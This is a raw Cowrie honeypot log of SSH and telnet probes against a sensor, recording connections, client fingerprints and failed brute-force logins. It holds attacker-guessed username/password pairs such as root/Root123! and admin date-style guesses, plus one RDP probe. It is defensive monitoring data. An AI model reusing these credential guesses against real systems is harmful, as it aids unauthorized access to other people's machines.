{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:7c:02:30:6a:34:78:85:67:ec:3b:66:04:44:01:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7hTfbX/gl7kNbyRXyotHhrDrMdhsgSE3ZHa2Rmw0i48O5m5gDQyMAGkLpG0i6ADeI291zNpK46ZZyMnkS3OLwFHOYntvvcb0WUVUSYZblXidJMVDQzM1DtLMcF83jqi+QXtcM8wZse9E+TH4LZvMiv26mgmwLm6CHBVWVUY1nsELL75IErIbXtqdTqdzAQGDZOTU3WYfqUdVApVMJx7LYZLer9tSP/kvJ5tldp8MgYfgpvKhXtn9z2+wLYUkBpd8cLXjI0TaF9OpdhzugMpcVfeAvo4+EHajFq8O4MAoRXSQFu12jMluwbCRcA1k24DgQUmWgTuwjNmWwsGLS2kTHreJx+JteR2OHilYomf5usexh/K8P+KzFOKFogK3Idcs0whKzSGejVuApvJrY9yyQ50MlxZpR0q33Fbw7a334sjA17FZ4xNtJ64jM61mtYq2g95+YqbYgrM0sQfH7ff13BsYhSzkUI1XPpFifykINy9ep5GKsUp2cD+lwng/d2R1tamam1g9j/ddw3pDohFdLsUbF6wuk3v5+nRyTejdP13laln7IuRXkKlrYLGUnr+lvCqaImsm3lJGYyoJCtKI2XItl3CzoPpL2GaCr+DwqKJmG7FJkTYmoDZGobJ6QpdlLMolHTEwodEQV7+zJvjvk6ZaiO1w452vcmzbYNLPsOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:7c:02:30:6a:34:78:85:67:ec:3b:66:04:44:01:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.643372Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:7c:02:30:6a:34:78:85:67:ec:3b:66:04:44:01:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7hTfbX/gl7kNbyRXyotHhrDrMdhsgSE3ZHa2Rmw0i48O5m5gDQyMAGkLpG0i6ADeI291zNpK46ZZyMnkS3OLwFHOYntvvcb0WUVUSYZblXidJMVDQzM1DtLMcF83jqi+QXtcM8wZse9E+TH4LZvMiv26mgmwLm6CHBVWVUY1nsELL75IErIbXtqdTqdzAQGDZOTU3WYfqUdVApVMJx7LYZLer9tSP/kvJ5tldp8MgYfgpvKhXtn9z2+wLYUkBpd8cLXjI0TaF9OpdhzugMpcVfeAvo4+EHajFq8O4MAoRXSQFu12jMluwbCRcA1k24DgQUmWgTuwjNmWwsGLS2kTHreJx+JteR2OHilYomf5usexh/K8P+KzFOKFogK3Idcs0whKzSGejVuApvJrY9yyQ50MlxZpR0q33Fbw7a334sjA17FZ4xNtJ64jM61mtYq2g95+YqbYgrM0sQfH7ff13BsYhSzkUI1XPpFifykINy9ep5GKsUp2cD+lwng/d2R1tamam1g9j/ddw3pDohFdLsUbF6wuk3v5+nRyTejdP13laln7IuRXkKlrYLGUnr+lvCqaImsm3lJGYyoJCtKI2XItl3CzoPpL2GaCr+DwqKJmG7FJkTYmoDZGobJ6QpdlLMolHTEwodEQV7+zJvjvk6ZaiO1w452vcmzbYNLPsOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.647316Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.714070Z","src_ip":"2.57.121.112","session":"8c04fb6ce32e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:d0:d4:aa:6c:6a:0e:8e:74:e3:23:99:b5:6c:4d:e0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJHda3gYPg2F442e7B4PlC4tiCwx4NiiXSkrdhNrS5RlzmiytqahwGCDrhVR8TLpE/kCx1JpRr0r8g1e5IwNSE79hyFaQcLgoa9+R37oHKGM3adZfcBqKheExv+uCUXxyOc4SZSxRsOn1Q/x2oWGXQNGB9OSqLDnOe9SSkWpWyvVAAAAFQDSs7tK6S/6bO/Ss+sXi+JCnLJipQAAAIA2g7clbXccoVsnQHatNWDUMw7oLHoMP0oA2G14fAwYqbK4T1Vw5WO/2p4ecneqUW9+XhKBv43t1GvnRZKQEfkDtMi2wiGwuSNZRVC5pFqfLZ/s9L+I7bCTXPzvEcKMm049E+9+sTTNa3jrpqIRacq/m+IOQMoUbkNqdae1GkaT3QAAAIBXkJOGaOXOI4AGMTNc8P28FeqG5DXP39XfHM2+oqnBRg6LHBLvR+NmblvDEtHNn995GETyN0naj0GBvGJzNpWtZbCpMUaboSpPlt5CJj8zdtG/3eLO7ta1NWa+GKnfO4uo1OzCBLz1WZfPE2lNmSIpaP5XwXRli06EK6VnTuSzrA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint fa:d0:d4:aa:6c:6a:0e:8e:74:e3:23:99:b5:6c:4d:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.736352Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:d0:d4:aa:6c:6a:0e:8e:74:e3:23:99:b5:6c:4d:e0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJHda3gYPg2F442e7B4PlC4tiCwx4NiiXSkrdhNrS5RlzmiytqahwGCDrhVR8TLpE/kCx1JpRr0r8g1e5IwNSE79hyFaQcLgoa9+R37oHKGM3adZfcBqKheExv+uCUXxyOc4SZSxRsOn1Q/x2oWGXQNGB9OSqLDnOe9SSkWpWyvVAAAAFQDSs7tK6S/6bO/Ss+sXi+JCnLJipQAAAIA2g7clbXccoVsnQHatNWDUMw7oLHoMP0oA2G14fAwYqbK4T1Vw5WO/2p4ecneqUW9+XhKBv43t1GvnRZKQEfkDtMi2wiGwuSNZRVC5pFqfLZ/s9L+I7bCTXPzvEcKMm049E+9+sTTNa3jrpqIRacq/m+IOQMoUbkNqdae1GkaT3QAAAIBXkJOGaOXOI4AGMTNc8P28FeqG5DXP39XfHM2+oqnBRg6LHBLvR+NmblvDEtHNn995GETyN0naj0GBvGJzNpWtZbCpMUaboSpPlt5CJj8zdtG/3eLO7ta1NWa+GKnfO4uo1OzCBLz1WZfPE2lNmSIpaP5XwXRli06EK6VnTuSzrA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.740678Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33578,"dst_ip":"10.17.0.5","dst_port":22,"session":"da82263719ba","protocol":"ssh","message":"New connection: 103.82.132.16:33578 (10.17.0.5:22) [session: da82263719ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.753229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.758892Z","src_ip":"103.82.132.16","session":"da82263719ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.830457Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:26.014395Z","src_ip":"103.82.132.16","session":"da82263719ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29041968","message":"login attempt [admin/29041968] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:26.190218Z","src_ip":"2.57.121.112","session":"8c04fb6ce32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43476,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a7202a0d0f","protocol":"telnet","message":"New connection: 192.119.13.58:43476 (10.17.0.5:23) [session: 32a7202a0d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:26.435884Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw12","message":"login attempt [root/12qw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:26.781970Z","src_ip":"103.82.132.16","session":"da82263719ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":53828,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce67e81a34b3","protocol":"ssh","message":"New connection: 69.6.222.198:53828 (159.203.135.109:22) [session: ce67e81a34b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:26.805856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:26.811397Z","src_ip":"69.6.222.198","session":"ce67e81a34b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:26.925761Z","src_ip":"69.6.222.198","session":"ce67e81a34b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290284","message":"login attempt [admin/290284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:27.298842Z","src_ip":"2.57.121.112","session":"8c04fb6ce32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.36","src_port":21290,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd8fd969528","protocol":"ssh","message":"New connection: 31.57.216.36:21290 (10.17.0.5:22) [session: ecd8fd969528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:27.377564Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:27.382903Z","src_ip":"31.57.216.36","session":"ecd8fd969528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superfun","message":"login attempt [root/superfun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:27.415571Z","src_ip":"69.6.222.198","session":"ce67e81a34b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.36","src_port":21298,"dst_ip":"10.17.0.5","dst_port":22,"session":"232f387dcef0","protocol":"ssh","message":"New connection: 31.57.216.36:21298 (10.17.0.5:22) [session: 232f387dcef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:27.564358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:27.570220Z","src_ip":"31.57.216.36","session":"232f387dcef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:27.673893Z","src_ip":"31.57.216.36","session":"232f387dcef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123!","message":"login attempt [root/Root123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:27.883851Z","src_ip":"31.57.216.36","session":"232f387dcef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:28.040967Z","src_ip":"103.82.132.16","session":"da82263719ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29021972","message":"login attempt [admin/29021972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:28.403004Z","src_ip":"2.57.121.112","session":"8c04fb6ce32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:28.535800Z","src_ip":"69.6.222.198","session":"ce67e81a34b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52116,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7bd1b6947e8","protocol":"telnet","message":"New connection: 192.119.13.58:52116 (10.17.0.5:23) [session: d7bd1b6947e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:28.711190Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:28.989762Z","src_ip":"31.57.216.36","session":"232f387dcef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290189","message":"login attempt [admin/290189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:29.508275Z","src_ip":"2.57.121.112","session":"8c04fb6ce32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290183","message":"login attempt [admin/290183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:30.624540Z","src_ip":"2.57.121.112","session":"8c04fb6ce32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:31.729225Z","src_ip":"2.57.121.112","session":"8c04fb6ce32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56932,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa3ba0723594","protocol":"ssh","message":"New connection: 109.237.96.109:56932 (10.17.0.5:22) [session: fa3ba0723594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:37.024735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:37.029459Z","src_ip":"109.237.96.109","session":"fa3ba0723594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:37.124723Z","src_ip":"109.237.96.109","session":"fa3ba0723594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111qqq","message":"login attempt [root/111qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:37.403537Z","src_ip":"109.237.96.109","session":"fa3ba0723594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:38.498260Z","src_ip":"109.237.96.109","session":"fa3ba0723594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.92358684539795,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:39.122277Z","src_ip":"201.205.247.46","session":"e3145f66c674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56508,"dst_ip":"10.17.0.5","dst_port":23,"session":"58db6067a133","protocol":"telnet","message":"New connection: 192.119.13.58:56508 (10.17.0.5:23) [session: 58db6067a133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:41.401610Z"}
{"eventid":"cowrie.session.closed","duration":40.67361545562744,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:44.055315Z","src_ip":"192.119.13.58","session":"7eee98d6f8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44850,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0215cb851c5","protocol":"telnet","message":"New connection: 192.119.13.58:44850 (10.17.0.5:23) [session: d0215cb851c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:45.864455Z"}
{"eventid":"cowrie.session.closed","duration":33.146493673324585,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:46.876595Z","src_ip":"192.119.13.58","session":"3d37ec242579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58602,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b89fa33d737","protocol":"ssh","message":"New connection: 167.172.81.52:58602 (10.17.0.5:22) [session: 0b89fa33d737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:47.769113Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:47.774004Z","src_ip":"167.172.81.52","session":"0b89fa33d737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:47.777872Z","src_ip":"167.172.81.52","session":"0b89fa33d737","protocol":"ssh"}
